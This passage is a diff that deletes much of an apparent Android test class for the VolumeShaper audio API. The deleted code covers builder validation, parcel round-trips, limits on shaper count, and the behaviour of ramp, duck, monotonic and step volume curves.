-        LINEAR_DUCK,
-    };
-
-    // this ramp should result in non-monotonic behavior with a typical cubic spline.
-    private static final VolumeShaper.Configuration MONOTONIC_TEST =
-            new VolumeShaper.Configuration.Builder()
-                .setInterpolatorType(VolumeShaper.Configuration.INTERPOLATOR_TYPE_CUBIC_MONOTONIC)
-                .setCurve(new float[] { 0.f, 0.3f, 0.7f, 1.f } /* times */,
-                        new float[] { 0.f, 0.5f, 0.5f, 1.f } /* volumes */)
-                .setDuration(RAMP_TIME_MS)
-                .build();
-
-    private static final VolumeShaper.Configuration MONOTONIC_TEST_FAIL =
-            new VolumeShaper.Configuration.Builder(MONOTONIC_TEST)
-                .setInterpolatorType(VolumeShaper.Configuration.INTERPOLATOR_TYPE_CUBIC)
-                .build();
-
-    private static final VolumeShaper.Operation[] ALL_STANDARD_OPERATIONS = {
-        VolumeShaper.Operation.PLAY,
-        VolumeShaper.Operation.REVERSE,
-    };
-
-    private boolean hasAudioOutput() {
-        return getContext().getPackageManager()
-            .hasSystemFeature(PackageManager.FEATURE_AUDIO_OUTPUT);
-    }
-
-    private boolean isLowRamDevice() {
-        return ((ActivityManager) getContext().getSystemService(Context.ACTIVITY_SERVICE))
-                .isLowRamDevice();
-    }
-
-    private static AudioTrack createSineAudioTrack() {
-        final int TEST_FORMAT = AudioFormat.ENCODING_PCM_FLOAT;
-        final int TEST_MODE = AudioTrack.MODE_STATIC;
-        final int TEST_SR = 48000;
-        final AudioFormat format = new AudioFormat.Builder()
-                .setChannelMask(AudioFormat.CHANNEL_OUT_MONO)
-                .setEncoding(TEST_FORMAT)
-                .setSampleRate(TEST_SR)
-                .build();
-
-        final int frameCount = AudioHelper.frameCountFromMsec(100 /*ms*/, format);
-        final int frameSize = AudioHelper.frameSizeFromFormat(format);
-
-        final AudioTrack audioTrack = new AudioTrack.Builder()
-            .setAudioFormat(format)
-            .setBufferSizeInBytes(frameCount * frameSize)
-            .setTransferMode(TEST_MODE)
-            .build();
-        // create float array and write it
-        final int sampleCount = frameCount * format.getChannelCount();
-        final float[] vaf = AudioHelper.createSoundDataInFloatArray(
-                sampleCount, TEST_SR,
-                600 * format.getChannelCount() /* frequency */, 0 /* sweep */);
-        assertEquals(vaf.length, audioTrack.write(vaf, 0 /* offsetInFloats */, vaf.length,
-                AudioTrack.WRITE_NON_BLOCKING));
-        audioTrack.setLoopPoints(0, frameCount, -1 /* loopCount */);
-        return audioTrack;
-    }
-
-    private MediaPlayer createMediaPlayer(boolean offloaded) {
-        // MP3 resource should be greater than 1m to introduce offloading
-        final int RESOURCE_ID = R.raw.test1m1s;
-
-        final MediaPlayer mediaPlayer = MediaPlayer.create(getContext(),
-                RESOURCE_ID,
-                new AudioAttributes.Builder()
-                    .setUsage(offloaded ?
-                            AudioAttributes.USAGE_MEDIA  // offload allowed
-                            : AudioAttributes.USAGE_NOTIFICATION) // offload not allowed
-                    .build(),
-                new AudioManager(getContext()).generateAudioSessionId());
-        mediaPlayer.setWakeMode(getContext(), PowerManager.PARTIAL_WAKE_LOCK);
-        mediaPlayer.setLooping(true);
-        return mediaPlayer;
-    }
-
-    private static void checkEqual(String testName,
-            VolumeShaper.Configuration expected, VolumeShaper.Configuration actual) {
-        assertEquals(testName + " configuration should be equal",
-                expected, actual);
-        assertEquals(testName + " configuration.hashCode() should be equal",
-                expected.hashCode(), actual.hashCode());
-        assertEquals(testName + " configuration.toString() should be equal",
-                expected.toString(), actual.toString());
-    }
-
-    private static void checkNotEqual(String testName,
-            VolumeShaper.Configuration notEqual, VolumeShaper.Configuration actual) {
-        assertTrue(testName + " configuration should not be equal",
-                !actual.equals(notEqual));
-        assertTrue(testName + " configuration.hashCode() should not be equal",
-                actual.hashCode() != notEqual.hashCode());
-        assertTrue(testName + " configuration.toString() should not be equal",
-                !actual.toString().equals(notEqual.toString()));
-    }
-
-    // generic player class to simplify testing
-    private interface Player extends AutoCloseable {
-        public void start();
-        public void pause();
-        public void stop();
-        @Override public void close();
-        public VolumeShaper createVolumeShaper(VolumeShaper.Configuration configuration);
-        public String name();
-    }
-
-    private static class AudioTrackPlayer implements Player {
-        public AudioTrackPlayer() {
-            mTrack = createSineAudioTrack();
-            mName = new String("AudioTrack");
-        }
-
-        @Override public void start() {
-            mTrack.play();
-        }
-
-        @Override public void pause() {
-            mTrack.pause();
-        }
-
-        @Override public void stop() {
-            mTrack.stop();
-        }
-
-        @Override public void close() {
-            mTrack.release();
-        }
-
-        @Override
-        public VolumeShaper createVolumeShaper(VolumeShaper.Configuration configuration) {
-            return mTrack.createVolumeShaper(configuration);
-        }
-
-        @Override public String name() {
-            return mName;
-        }
-
-        private final AudioTrack mTrack;
-        private final String mName;
-    }
-
-    private class MediaPlayerPlayer implements Player {
-        public MediaPlayerPlayer(boolean offloaded) {
-            mPlayer = createMediaPlayer(offloaded);
-            mName = new String("MediaPlayer" + (offloaded ? "Offloaded" : "NonOffloaded"));
-        }
-
-        @Override public void start() {
-            mPlayer.start();
-        }
-
-        @Override public void pause() {
-            mPlayer.pause();
-        }
-
-        @Override public void stop() {
-            mPlayer.stop();
-        }
-
-        @Override public void close() {
-            mPlayer.release();
-        }
-
-        @Override
-        public VolumeShaper createVolumeShaper(VolumeShaper.Configuration configuration) {
-            return mPlayer.createVolumeShaper(configuration);
-        }
-
-        @Override public String name() {
-            return mName;
-        }
-
-        private final MediaPlayer mPlayer;
-        private final String mName;
-    }
-
-    private static final int PLAYER_TYPES = 3;
-    private static final int PLAYER_TYPE_AUDIO_TRACK = 0;
-    private static final int PLAYER_TYPE_MEDIA_PLAYER_NON_OFFLOADED = 1;
-    private static final int PLAYER_TYPE_MEDIA_PLAYER_OFFLOADED = 2;
-
-    private Player createPlayer(int type) {
-        switch (type) {
-            case PLAYER_TYPE_AUDIO_TRACK:
-                return new AudioTrackPlayer();
-            case PLAYER_TYPE_MEDIA_PLAYER_NON_OFFLOADED:
-                return new MediaPlayerPlayer(false /* offloaded */);
-            case PLAYER_TYPE_MEDIA_PLAYER_OFFLOADED:
-                return new MediaPlayerPlayer(true /* offloaded */);
-            default:
-                return null;
-        }
-    }
-
-    private static void testBuildRamp(int points) {
-        float[] ramp = new float[points];
-        final float fscale = 1.f / (points - 1);
-        for (int i = 0; i < points; ++i) {
-            ramp[i] = i * fscale;
-        }
-        ramp[points - 1] = 1.f;
-        // does it build?
-        final VolumeShaper.Configuration config = new VolumeShaper.Configuration.Builder()
-                .setCurve(ramp, ramp)
-                .build();
-    }
-
-    @SmallTest
-    public void testVolumeShaperConfigurationBuilder() throws Exception {
-        final String TEST_NAME = "testVolumeShaperConfigurationBuilder";
-
-        // Verify that IllegalStateExceptions are properly triggered
-        // for methods with no arguments.
-
-        Log.d(TAG, TEST_NAME + " configuration builder should throw ISE if no curve specified");
-        assertThrows(IllegalStateException.class,
-                new VolumeShaper.Configuration.Builder()
-                    ::build);
-
-        assertThrows(IllegalStateException.class,
-                new VolumeShaper.Configuration.Builder()
-                    ::invertVolumes);
-
-        assertThrows(IllegalStateException.class,
-                new VolumeShaper.Configuration.Builder()
-                    ::reflectTimes);
-
-        Log.d(TAG, TEST_NAME + " configuration builder should IAE on invalid curve");
-        // Verify IllegalArgumentExceptions are properly triggered
-        // for methods with arguments.
-        final float[] ohOne = { 0.f, 1.f };
-        final float[][] invalidCurves = {
-                { -1.f, 1.f },
-                { 0.5f },
-                { 0.f, 2.f },
-        };
-        for (float[] invalidCurve : invalidCurves) {
-            assertThrows(IllegalArgumentException.class,
-                    () -> {
-                        new VolumeShaper.Configuration.Builder()
-                            .setCurve(invalidCurve, ohOne)
-                            .build(); });
-
-            assertThrows(IllegalArgumentException.class,
-                    () -> {
-                        new VolumeShaper.Configuration.Builder()
-                            .setCurve(ohOne, invalidCurve)
-                            .build(); });
-        }
-
-        Log.d(TAG, TEST_NAME + " configuration builder should throw IAE on invalid duration");
-        assertThrows(IllegalArgumentException.class,
-                () -> {
-                    new VolumeShaper.Configuration.Builder()
-                        .setCurve(ohOne, ohOne)
-                        .setDuration(-1)
-                        .build(); });
-
-        Log.d(TAG, TEST_NAME + " configuration builder should throw IAE on invalid interpolator");
-        assertThrows(IllegalArgumentException.class,
-                () -> {
-                    new VolumeShaper.Configuration.Builder()
-                        .setCurve(ohOne, ohOne)
-                        .setInterpolatorType(-1)
-                        .build(); });
-
-        // Verify defaults.
-        // Use the Builder with setCurve(ohOne, ohOne).
-        final VolumeShaper.Configuration config =
-                new VolumeShaper.Configuration.Builder().setCurve(ohOne, ohOne).build();
-        assertEquals(TEST_NAME + " default interpolation should be cubic",
-                VolumeShaper.Configuration.INTERPOLATOR_TYPE_CUBIC, config.getInterpolatorType());
-        assertEquals(TEST_NAME + " default duration should be 1000 ms",
-                1000, config.getDuration());
-        assertTrue(TEST_NAME + " times should be { 0.f, 1.f }",
-                Arrays.equals(ohOne, config.getTimes()));
-        assertTrue(TEST_NAME + " volumes should be { 0.f, 1.f }",
-                Arrays.equals(ohOne, config.getVolumes()));
-
-        // Due to precision problems, we cannot have ramps that do not have
-        // perfect binary representation for equality comparison.
-        // (For example, 0.1 is a repeating mantissa in binary,
-        //  but 0.25, 0.5 can be expressed with few mantissa bits).
-        final float[] binaryCurve1 = { 0.f, 0.25f, 0.5f, 0.625f,  1.f };
-        final float[] binaryCurve2 = { 0.f, 0.125f, 0.375f, 0.75f, 1.f };
-        final VolumeShaper.Configuration[] BINARY_RAMPS = {
-            LINEAR_RAMP,
-            CUBIC_RAMP,
-            new VolumeShaper.Configuration.Builder()
-                    .setCurve(binaryCurve1, binaryCurve2)
-                    .build(),
-        };
-
-        // Verify volume inversion and time reflection work as expected
-        // with ramps (which start at { 0.f, 0.f } and end at { 1.f, 1.f }).
-        for (VolumeShaper.Configuration testRamp : BINARY_RAMPS) {
-            VolumeShaper.Configuration ramp;
-            ramp = new VolumeShaper.Configuration.Builder(testRamp).build();
-            checkEqual(TEST_NAME, testRamp, ramp);
-
-            ramp = new VolumeShaper.Configuration.Builder(testRamp)
-                    .setDuration(10)
-                    .build();
-            checkNotEqual(TEST_NAME, testRamp, ramp);
-
-            ramp = new VolumeShaper.Configuration.Builder(testRamp).build();
-            checkEqual(TEST_NAME, testRamp, ramp);
-
-            ramp = new VolumeShaper.Configuration.Builder(testRamp)
-                    .invertVolumes()
-                    .build();
-            checkNotEqual(TEST_NAME, testRamp, ramp);
-
-            ramp = new VolumeShaper.Configuration.Builder(testRamp)
-                    .invertVolumes()
-                    .invertVolumes()
-                    .build();
-            checkEqual(TEST_NAME, testRamp, ramp);
-
-            ramp = new VolumeShaper.Configuration.Builder(testRamp)
-                    .reflectTimes()
-                    .build();
-            checkNotEqual(TEST_NAME, testRamp, ramp);
-
-            ramp = new VolumeShaper.Configuration.Builder(testRamp)
-                    .reflectTimes()
-                    .reflectTimes()
-                    .build();
-            checkEqual(TEST_NAME, testRamp, ramp);
-
-            // check scaling start and end volumes
-            ramp = new VolumeShaper.Configuration.Builder(testRamp)
-                    .scaleToStartVolume(0.5f)
-                    .build();
-            checkNotEqual(TEST_NAME, testRamp, ramp);
-
-            ramp = new VolumeShaper.Configuration.Builder(testRamp)
-                    .scaleToStartVolume(0.5f)
-                    .scaleToStartVolume(0.f)
-                    .build();
-            checkEqual(TEST_NAME, testRamp, ramp);
-
-            ramp = new VolumeShaper.Configuration.Builder(testRamp)
-                    .scaleToStartVolume(0.5f)
-                    .scaleToEndVolume(0.f)
-                    .scaleToStartVolume(1.f)
-                    .invertVolumes()
-                    .build();
-            checkEqual(TEST_NAME, testRamp, ramp);
-        }
-
-        // check that getMaximumCurvePoints() returns the correct value
-        final int maxPoints = VolumeShaper.Configuration.getMaximumCurvePoints();
-
-        testBuildRamp(maxPoints); // no exceptions here.
-
-        if (maxPoints < Integer.MAX_VALUE) {
-            Log.d(TAG, TEST_NAME + " configuration builder "
-                    + "should throw IAE if getMaximumCurvePoints() exceeded");
-            assertThrows(IllegalArgumentException.class,
-                    () -> { testBuildRamp(maxPoints + 1); });
-        }
-    } // testVolumeShaperConfigurationBuilder
-
-    @SmallTest
-    public void testVolumeShaperConfigurationParcelable() throws Exception {
-        final String TEST_NAME = "testVolumeShaperConfigurationParcelable";
-
-        for (VolumeShaper.Configuration config : ALL_STANDARD_RAMPS) {
-            assertEquals(TEST_NAME + " no parceled file descriptors",
-                    0 /* expected */, config.describeContents());
-
-            final Parcel srcParcel = Parcel.obtain();
-            config.writeToParcel(srcParcel, 0 /* flags */);
-
-            final byte[] marshallBuffer = srcParcel.marshall();
-
-            final Parcel dstParcel = Parcel.obtain();
-            dstParcel.unmarshall(marshallBuffer, 0 /* offset */, marshallBuffer.length);
-            dstParcel.setDataPosition(0);
-
-            final VolumeShaper.Configuration restoredConfig =
-                    VolumeShaper.Configuration.CREATOR.createFromParcel(dstParcel);
-            assertEquals(TEST_NAME +
-                    " marshalled/restored VolumeShaper.Configuration should match",
-                    config, restoredConfig);
-        }
-    } // testVolumeShaperConfigurationParcelable
-
-    @SmallTest
-    public void testVolumeShaperOperationParcelable() throws Exception {
-        final String TEST_NAME = "testVolumeShaperOperationParcelable";
-
-        for (VolumeShaper.Operation operation : ALL_STANDARD_OPERATIONS) {
-            assertEquals(TEST_NAME + " no parceled file descriptors",
-                    0 /* expected */, operation.describeContents());
-
-            final Parcel srcParcel = Parcel.obtain();
-            operation.writeToParcel(srcParcel, 0 /* flags */);
-
-            final byte[] marshallBuffer = srcParcel.marshall();
-
-            final Parcel dstParcel = Parcel.obtain();
-            dstParcel.unmarshall(marshallBuffer, 0 /* offset */, marshallBuffer.length);
-            dstParcel.setDataPosition(0);
-
-            final VolumeShaper.Operation restoredOperation =
-                    VolumeShaper.Operation.CREATOR.createFromParcel(dstParcel);
-            assertEquals(TEST_NAME +
-                    " marshalled/restored VolumeShaper.Operation should match",
-                    operation, restoredOperation);
-        }
-    } // testVolumeShaperOperationParcelable
-
-    // This tests that we can't create infinite shapers and cause audioserver
-    // to crash due to memory or performance issues.  Typically around 16 app based
-    // shapers are allowed by the audio server.
-    @SmallTest
-    public void testMaximumShapers() {
-        final String TEST_NAME = "testMaximumShapers";
-        if (!hasAudioOutput()) {
-            Log.w(TAG, "AUDIO_OUTPUT feature not found. This system might not have a valid "
-                    + "audio output HAL");
-            return;
-        }
-
-        final int WAY_TOO_MANY_SHAPERS = 1000;
-
-        for (int p = 0; p < PLAYER_TYPES; ++p) {
-            try (Player player = createPlayer(p)) {
-                final String testName = TEST_NAME + " " + player.name();
-                final VolumeShaper[] shapers = new VolumeShaper[WAY_TOO_MANY_SHAPERS];
-                int i = 0;
-                try {
-                    for (; i < shapers.length; ++i) {
-                        shapers[i] = player.createVolumeShaper(SILENCE);
-                    }
-                    fail(testName + " should not be able to create "
-                            + shapers.length + " shapers");
-                } catch (IllegalStateException ise) {
-                    Log.d(TAG, testName + " " + i + " shapers created before failure (OK)");
-                }
-            }
-            // volume shapers close when player closes.
-        }
-    } // testMaximumShapers
-
-    @LargeTest
-    public void testPlayerDuck() throws Exception {
-        final String TEST_NAME = "testPlayerDuck";
-        if (!hasAudioOutput()) {
-            Log.w(TAG, "AUDIO_OUTPUT feature not found. This system might not have a valid "
-                    + "audio output HAL");
-            return;
-        }
-
-        for (int p = 0; p < PLAYER_TYPES; ++p) {
-            try (   Player player = createPlayer(p);
-                    VolumeShaper volumeShaper = player.createVolumeShaper(SILENCE);
-                    ) {
-                final String testName = TEST_NAME + " " + player.name();
-
-                Log.d(TAG, testName + " starting");
-                player.start();
-                Thread.sleep(WARMUP_TIME_MS);
-
-                runDuckTest(testName, volumeShaper);
-                runCloseTest(testName, volumeShaper);
-            }
-        }
-    } // testPlayerDuck
-
-    @LargeTest
-    public void testPlayerRamp() throws Exception {
-        final String TEST_NAME = "testPlayerRamp";
-        if (!hasAudioOutput()) {
-            Log.w(TAG, "AUDIO_OUTPUT feature not found. This system might not have a valid "
-                    + "audio output HAL");
-            return;
-        }
-
-        for (int p = 0; p < PLAYER_TYPES; ++p) {
-            try (   Player player = createPlayer(p);
-                    VolumeShaper volumeShaper = player.createVolumeShaper(SILENCE);
-                    ) {
-                final String testName = TEST_NAME + " " + player.name();
-
-                Log.d(TAG, testName + " starting");
-                player.start();
-                Thread.sleep(WARMUP_TIME_MS);
-
-                runRampTest(testName, volumeShaper);
-                runCloseTest(testName, volumeShaper);
-            }
-        }
-    } // testPlayerRamp
-
-    @FlakyTest
-    @LargeTest
-    public void testPlayerCornerCase() throws Exception {
-        final String TEST_NAME = "testPlayerCornerCase";
-        if (!hasAudioOutput()) {
-            Log.w(TAG, "AUDIO_OUTPUT feature not found. This system might not have a valid "
-                    + "audio output HAL");
-            return;
-        }
-
-        final VolumeShaper.Configuration config = LINEAR_RAMP;
-
-        for (int p = 0; p < PLAYER_TYPES; ++p) {
-            Player player = null;
-            VolumeShaper volumeShaper = null;
-            try {
-                player = createPlayer(p);
-                volumeShaper = player.createVolumeShaper(config);
-                final String testName = TEST_NAME + " " + player.name();
-
-                runStartIdleTest(testName, volumeShaper, player);
-                runRampCornerCaseTest(testName, volumeShaper, config);
-                runCloseTest(testName, volumeShaper);
-
-                Log.d(TAG, testName + " recreating VolumeShaper and repeating with pause");
-                volumeShaper = player.createVolumeShaper(config);
-                player.pause();
-                Thread.sleep(100 /* millis */);
-                runStartIdleTest(testName, volumeShaper, player);
-
-                // volumeShaper not explicitly closed, will close upon finalize or player close.
-                Log.d(TAG, testName + " recreating VolumeShaper and repeating with stop");
-                volumeShaper = player.createVolumeShaper(config);
-                player.stop();
-                Thread.sleep(100 /* millis */);
-                runStartIdleTest(testName, volumeShaper, player);
-
-                Log.d(TAG, testName + " closing Player before VolumeShaper");
-                player.close();
-                runCloseTest2(testName, volumeShaper);
-            } finally {
-                if (volumeShaper != null) {
-                    volumeShaper.close();
-                }
-                if (player != null) {
-                    player.close();
-                }
-            }
-        }
-    } // testPlayerCornerCase
-
-    @FlakyTest
-    @LargeTest
-    public void testPlayerCornerCase2() throws Exception {
-        final String TEST_NAME = "testPlayerCornerCase2";
-        if (!hasAudioOutput()) {
-            Log.w(TAG, "AUDIO_OUTPUT feature not found. This system might not have a valid "
-                    + "audio output HAL");
-            return;
-        }
-
-        final VolumeShaper.Configuration config = LINEAR_RAMP;
-
-        for (int p = 0; p < PLAYER_TYPES; ++p) {
-            Player player = null;
-            VolumeShaper volumeShaper = null;
-            try {
-                player = createPlayer(p);
-                volumeShaper = player.createVolumeShaper(config);
-                final String testName = TEST_NAME + " " + player.name();
-
-                runStartSyncTest(testName, volumeShaper, player);
-                runCloseTest(testName, volumeShaper);
-
-                Log.d(TAG, testName + " recreating VolumeShaper and repeating with pause");
-                volumeShaper = player.createVolumeShaper(config);
-                player.pause();
-                Thread.sleep(100 /* millis */);
-                runStartSyncTest(testName, volumeShaper, player);
-
-                Log.d(TAG, testName + " closing Player before VolumeShaper");
-                player.close();
-                runCloseTest2(testName, volumeShaper);
-            } finally {
-                if (volumeShaper != null) {
-                    volumeShaper.close();
-                }
-                if (player != null) {
-                    player.close();
-                }
-            }
-        }
-    } // testPlayerCornerCase2
-
-    @FlakyTest
-    @LargeTest
-    public void testPlayerJoin() throws Exception {
-        final String TEST_NAME = "testPlayerJoin";
-        if (!hasAudioOutput()) {
-            Log.w(TAG, "AUDIO_OUTPUT feature not found. This system might not have a valid "
-                    + "audio output HAL");
-            return;
-        }
-
-        for (int p = 0; p < PLAYER_TYPES; ++p) {
-            try (   Player player = createPlayer(p);
-                    VolumeShaper volumeShaper = player.createVolumeShaper(SILENCE);
-                    ) {
-                final String testName = TEST_NAME + " " + player.name();
-                volumeShaper.apply(VolumeShaper.Operation.PLAY);
-                player.start();
-                Thread.sleep(WARMUP_TIME_MS);
-
-                Log.d(TAG, " we join several LINEAR_RAMPS together "
-                        + " this effectively is one LINEAR_RAMP (volume increasing).");
-                final long durationMs = 10000;
-                final long incrementMs = 1000;
-                for (long i = 0; i < durationMs; i += incrementMs) {
-                    Log.d(TAG, testName + " Play - join " + i);
-                    volumeShaper.replace(new VolumeShaper.Configuration.Builder(LINEAR_RAMP)
-                                    .setDuration(durationMs - i)
-                                    .build(),
-                            VolumeShaper.Operation.PLAY, true /* join */);
-                    assertEquals(testName + " linear ramp should continue on join",
-                            (float)i / durationMs, volumeShaper.getVolume(), 0.05 /* epsilon */);
-                    Thread.sleep(incrementMs);
-                }
-                Log.d(TAG, testName + "volume at max level now (closing player)");
-            }
-        }
-    } // testPlayerJoin
-
-    @LargeTest
-    public void testPlayerCubicMonotonic() throws Exception {
-        final String TEST_NAME = "testPlayerCubicMonotonic";
-        if (!hasAudioOutput()) {
-            Log.w(TAG, "AUDIO_OUTPUT feature not found. This system might not have a valid "
-                    + "audio output HAL");
-            return;
-        }
-
-        final VolumeShaper.Configuration configurations[] =
-                new VolumeShaper.Configuration[] {
-                MONOTONIC_TEST,
-                CUBIC_RAMP,
-                SCURVE_RAMP,
-                SINE_RAMP,
-        };
-
-        for (int p = 0; p < PLAYER_TYPES; ++p) {
-            try (   Player player = createPlayer(p);
-                    VolumeShaper volumeShaper = player.createVolumeShaper(SILENCE);
-                    ) {
-                final String testName = TEST_NAME + " " + player.name();
-                volumeShaper.apply(VolumeShaper.Operation.PLAY);
-                player.start();
-                Thread.sleep(WARMUP_TIME_MS);
-
-                for (VolumeShaper.Configuration configuration : configurations) {
-                    // test configurations known monotonic
-                    Log.d(TAG, testName + " starting test");
-
-                    float lastVolume = 0;
-                    final long incrementMs = 100;
-
-                    volumeShaper.replace(configuration,
-                            VolumeShaper.Operation.PLAY, true /* join */);
-                    // monotonicity test
-                    for (long i = 0; i < RAMP_TIME_MS; i += incrementMs) {
-                        final float volume = volumeShaper.getVolume();
-                        assertTrue(testName + " montonic volume should increase "
-                                + volume + " >= " + lastVolume,
-                                (volume >= lastVolume));
-                        lastVolume = volume;
-                        Thread.sleep(incrementMs);
-                    }
-                    Thread.sleep(WARMUP_TIME_MS);
-                    lastVolume = volumeShaper.getVolume();
-                    assertEquals(testName
-                            + " final monotonic value should be 1.f, but is " + lastVolume,
-                            1.f, lastVolume, VOLUME_TOLERANCE);
-
-                    Log.d(TAG, "invert");
-                    // invert
-                    VolumeShaper.Configuration newConfiguration =
-                            new VolumeShaper.Configuration.Builder(configuration)
-                    .invertVolumes()
-                    .build();
-                    volumeShaper.replace(newConfiguration,
-                            VolumeShaper.Operation.PLAY, true /* join */);
-                    // monotonicity test
-                    for (long i = 0; i < RAMP_TIME_MS; i += incrementMs) {
-                        final float volume = volumeShaper.getVolume();
-                        assertTrue(testName + " montonic volume should decrease "
-                                + volume + " <= " + lastVolume,
-                                (volume <= lastVolume));
-                        lastVolume = volume;
-                        Thread.sleep(incrementMs);
-                    }
-                    Thread.sleep(WARMUP_TIME_MS);
-                    lastVolume = volumeShaper.getVolume();
-                    assertEquals(testName
-                            + " final monotonic value should be 0.f, but is " + lastVolume,
-                            0.f, lastVolume, VOLUME_TOLERANCE);
-
-                    // invert + reflect
-                    Log.d(TAG, "invert and reflect");
-                    newConfiguration =
-                            new VolumeShaper.Configuration.Builder(configuration)
-                    .invertVolumes()
-                    .reflectTimes()
-                    .build();
-                    volumeShaper.replace(newConfiguration,
-                            VolumeShaper.Operation.PLAY, true /* join */);
-                    // monotonicity test
-                    for (long i = 0; i < RAMP_TIME_MS; i += incrementMs) {
-                        final float volume = volumeShaper.getVolume();
-                        assertTrue(testName + " montonic volume should increase "
-                                + volume + " >= " + lastVolume,
-                                (volume >= lastVolume - VOLUME_TOLERANCE));
-                        lastVolume = volume;
-                        Thread.sleep(incrementMs);
-                    }
-                    Thread.sleep(WARMUP_TIME_MS);
-                    lastVolume = volumeShaper.getVolume();
-                    assertEquals(testName
-                            + " final monotonic value should be 1.f, but is " + lastVolume,
-                            1.f, lastVolume, VOLUME_TOLERANCE);
-
-                    // reflect
-                    Log.d(TAG, "reflect");
-                    newConfiguration =
-                            new VolumeShaper.Configuration.Builder(configuration)
-                    .reflectTimes()
-                    .build();
-                    volumeShaper.replace(newConfiguration,
-                            VolumeShaper.Operation.PLAY, true /* join */);
-                    // monotonicity test
-                    for (long i = 0; i < RAMP_TIME_MS; i += incrementMs) {
-                        final float volume = volumeShaper.getVolume();
-                        assertTrue(testName + " montonic volume should decrease "
-                                + volume + " <= " + lastVolume,
-                                (volume <= lastVolume));
-                        lastVolume = volume;
-                        Thread.sleep(incrementMs);
-                    }
-                    Thread.sleep(WARMUP_TIME_MS);
-                    lastVolume = volumeShaper.getVolume();
-                    assertEquals(testName
-                            + " final monotonic value should be 0.f, but is " + lastVolume,
-                            0.f, lastVolume, VOLUME_TOLERANCE);
-                }
-            }
-        }
-    } // testPlayerCubicMonotonic
-
-    @LargeTest
-    public void testPlayerStepRamp() throws Exception {
-        final String TEST_NAME = "testPlayerStepRamp";
-        if (!hasAudioOutput()) {
-            Log.w(TAG, "AUDIO_OUTPUT feature not found. This system might not have a valid "
-                    + "audio output HAL");
-            return;
-        }
-
-        // We test that the step ramp persists on value until the next control point.
-        // The STEP_RAMP has only 2 control points (at time 0.f and at 1.f).
-        // It should suddenly jump to full volume at 1.f (full duration).
-        // Note: invertVolumes() and reflectTimes() are not symmetric for STEP interpolation;
-        // however, VolumeShaper.Operation.REVERSE will behave symmetrically.
-        for (int p = 0; p < PLAYER_TYPES; ++p) {
-            try (   Player player = createPlayer(p);
-                    VolumeShaper volumeShaper = player.createVolumeShaper(SILENCE);
-                    ) {
-                final String testName = TEST_NAME + " " + player.name();
-                volumeShaper.apply(VolumeShaper.Operation.PLAY);
-                player.start();
-                Thread.sleep(WARMUP_TIME_MS);
-
-                final VolumeShaper.Configuration configuration = STEP_RAMP;
-                Log.d(TAG, testName + " starting test (sudden jump to full after "
-                        + RAMP_TIME_MS + " milliseconds)");
-
-                volumeShaper.replace(configuration,
-                        VolumeShaper.Operation.PLAY, true /* join */);
-
-                Thread.sleep(RAMP_TIME_MS / 2);
-                float lastVolume = volumeShaper.getVolume();
-                assertEquals(testName
-                        + " middle value should be 0.f, but is " + lastVolume,
-                        0.f, lastVolume, VOLUME_TOLERANCE);
-
-                Thread.sleep(RAMP_TIME_MS / 2 + 1000);
-                lastVolume = volumeShaper.getVolume();
-                assertEquals(testName
-                        + " final value should be 1.f, but is " + lastVolume,
-                        1.f, lastVolume, VOLUME_TOLERANCE);
-
-                Log.d(TAG, "invert (sudden jump to silence after "
-                        + RAMP_TIME_MS + " milliseconds)");
-                // invert
-                VolumeShaper.Configuration newConfiguration =
-                        new VolumeShaper.Configuration.Builder(configuration)
-                            .invertVolumes()
-                            .build();
-                volumeShaper.replace(newConfiguration,
-                        VolumeShaper.Operation.PLAY, true /* join */);
-
-                Thread.sleep(RAMP_TIME_MS / 2);
-                lastVolume = volumeShaper.getVolume();
-                assertEquals(testName
-                        + " middle value should be 1.f, but is " + lastVolume,
-                        1.f, lastVolume, VOLUME_TOLERANCE);
-
-                Thread.sleep(RAMP_TIME_MS / 2 + 1000);
-                lastVolume = volumeShaper.getVolume();
-                assertEquals(testName
-                        + " final value should be 0.f, but is " + lastVolume,
-                        0.f, lastVolume, VOLUME_TOLERANCE);
-
-                // invert + reflect
-                Log.d(TAG, "invert and reflect (sudden jump to full after "
-                        + RAMP_TIME_MS + " milliseconds)");
-                newConfiguration =
-                        new VolumeShaper.Configuration.Builder(configuration)
-                            .invertVolumes()
-                            .reflectTimes()
-                            .build();
-                volumeShaper.replace(newConfiguration,
-                        VolumeShaper.Operation.PLAY, true /* join */);
-
-                Thread.sleep(RAMP_TIME_MS / 2);
-                lastVolume = volumeShaper.getVolume();
-                assertEquals(testName
-                        + " middle value should be 0.f, but is " + lastVolume,
-                        0.f, lastVolume, VOLUME_TOLERANCE);
-
-                Thread.sleep(RAMP_TIME_MS / 2 + 1000);
-                lastVolume = volumeShaper.getVolume();
-                assertEquals(testName
-                        + " final value should be 1.f, but is " + lastVolume,
-                        1.f, lastVolume, VOLUME_TOLERANCE);
-
-                // reflect
-                Log.d(TAG, "reflect (sudden jump to silence after "
-                        + RAMP_TIME_MS + " milliseconds)");
-                newConfiguration =
-                        new VolumeShaper.Configuration.Builder(configuration)
-                            .reflectTimes()
-                            .build();
-                volumeShaper.replace(newConfiguration,
-                        VolumeShaper.Operation.PLAY, true /* join */);
-
-                Thread.sleep(RAMP_TIME_MS / 2);
-                lastVolume = volumeShaper.getVolume();
-                assertEquals(testName
-                        + " middle value should be 1.f, but is " + lastVolume,
-                        1.f, lastVolume, VOLUME_TOLERANCE);
-
-                Thread.sleep(RAMP_TIME_MS / 2 + 1000);
-                lastVolume = volumeShaper.getVolume();
-                assertEquals(testName
-                        + " final value should be 0.f, but is " + lastVolume,
-                        0.f, lastVolume, VOLUME_TOLERANCE);
-
-                Log.d(TAG, "reverse (immediate jump to full)");
-                volumeShaper.apply(VolumeShaper.Operation.REVERSE);
-                Thread.sleep(RAMP_TIME_MS / 2);
-                lastVolume = volumeShaper.getVolume();
-                assertEquals(testName
-                        + " middle value should be 1.f, but is " + lastVolume,
-                        1.f, lastVolume, VOLUME_TOLERANCE);
-
-                Thread.sleep(RAMP_TIME_MS / 2 + 1000);
-                lastVolume = volumeShaper.getVolume();
-                assertEquals(testName
-                        + " final value should be 1.f, but is " + lastVolume,
-                        1.f, lastVolume, VOLUME_TOLERANCE);
-            }
-        }
-    } // testPlayerStepRamp
-
-    @LargeTest
-    public void testPlayerTwoShapers() throws Exception {
-        final String TEST_NAME = "testPlayerTwoShapers";
-        if (!hasAudioOutput()) {
-            Log.w(TAG, "AUDIO_OUTPUT feature not found. This system might not have a valid "
-                    + "audio output HAL");
-            return;
-        }
-
-        final long durationMs = 10000;
-
-        // Ramp configurations go from 0.f up to 1.f, Duck from 1.f to 0.f
